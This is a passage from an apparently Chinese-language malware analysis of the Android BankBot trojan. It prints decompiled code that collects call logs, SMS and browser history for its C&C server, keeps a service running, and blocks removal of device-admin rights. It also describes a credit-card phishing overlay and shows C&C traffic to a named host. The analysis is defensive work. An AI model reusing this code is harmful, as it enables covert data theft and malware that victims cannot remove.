String v22 = "***{\"n*u**mb**e*r\"***:%s,\"da****te\":%s,\"d*u*ra****ti*o***n\":%s,\"t*yp***e\":%s}*"
.replace("*", "");
if((v10.moveToFirst()) && v10.getCount() > 0) {
int v17 = v10.getColumnIndex("number");
int v21 = v10.getColumnIndex("type");
int v11 = v10.getColumnIndex("date");
int v14 = v10.getColumnIndex("duration");
while(!v10.isAfterLast()) {
String v19 = v10.getString(v17);
String v9 = v10.getString(v21);
String v7 = v10.getString(v11);
String v8 = v10.getString(v14);
String v13 = null;
switch(Integer.parseInt(v9)) {
case 1: {
v13 = v15;
break;
}
case 2: {
v13 = v18;
break;
}
case 3: {
v13 = v16;
break;
}
}

v20.append(String.format(Locale.US, v22, JSONObject.quote(v19), JSONObject.quote(
v7), JSONObject.quote(v8), JSONObject.quote(v13)));
if(!v10.isLast()) {
v20.append(",");
}

v10.moveToNext();
}

v10.close();
}

return v20.append("]");
}

获取短信记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getSmsLog() {
StringBuilder v10 = new StringBuilder("[");
Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
"s").replace("B", "m").replace("C", "s")), null, null, null, null);
if((v8.moveToFirst()) && v8.getCount() > 0) {
while(!v8.isAfterLast()) {
v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
.quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
v8.getColumnIndex("date")))));
if(!v8.isLast()) {
v10.append(",");
}

v8.moveToNext();
}

v8.close();
}

return v10.append("]");
}

浏览器书签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private StringBuilder getHistory(Uri historyUri) {
StringBuilder v8 = new StringBuilder("[");
Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
"date"}, "bookmark = 0", null, null);
if((v6.moveToFirst()) && v6.getCount() > 0) {
while(!v6.isAfterLast()) {
v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
.quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
"date")))));
if(!v6.isLast()) {
v8.append(",");
}

v6.moveToNext();
}

v6.close();
}

return v8.append("]");
}

骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。

高级技术

不断重启的Servcie

com.android.smali3

1
2
3
4
public void onDestroy() {
super.onDestroy();
this.startService(new Intent(this.getApplicationContext(), smali3.class));
}

服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

1
2
3
> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AdRec extends DeviceAdminReceiver {
public AdRec() {
super();
}

public CharSequence onDisableRequested(Context context, Intent intent) {
new AppCrash().Register(context);
if(Build$VERSION.SDK_INT <= 0xA) {
Intent v2 = new Intent("android.settings.SETTINGS");
v2.setFlags(0x50000000);
context.startActivity(v2);
Intent v4 = new Intent("android.intent.action.MAIN");
v4.addCategory("android.intent.category.HOME");
v4.setFlags(0x10000000);
context.startActivity(v4);
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

context.startService(new Intent(context, ASec.class));
long v6 = 0x7D0;
try {
Thread.sleep(v6);
}
catch(InterruptedException v3) {
v3.printStackTrace();
}

return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

...
}

重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户
无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。

这里出过几个问题,

  1. Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  2. 就是现在代码中所用到这个,目前在所有的Android 版本中存在。

界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实
是设备管理器的激活按钮。

使用翠鸟对恶意样本进行检查的结果

0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中
可以得到json字段的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";

请求注册

返回报文

401

注册报文

请求报文

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

响应报文

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0


获取命令

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0


返回的命令为json 格式,主要的指令有下面几个,

指令 含义
401 要求 bot 注册
call_log 获取电话记录, 发送到C&C server
sms_history 获取短信内容,发送到C&C server
browser_history 获取浏览器书签,发送到C&C server
url 访问url 链接
server 更换C&C server
intercept
server_poll 更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

0x03清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈
不让我们取消设备管理器,估计只有root的机器会好处理一些。

0x04总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓,
很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良
后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量
会越来越多。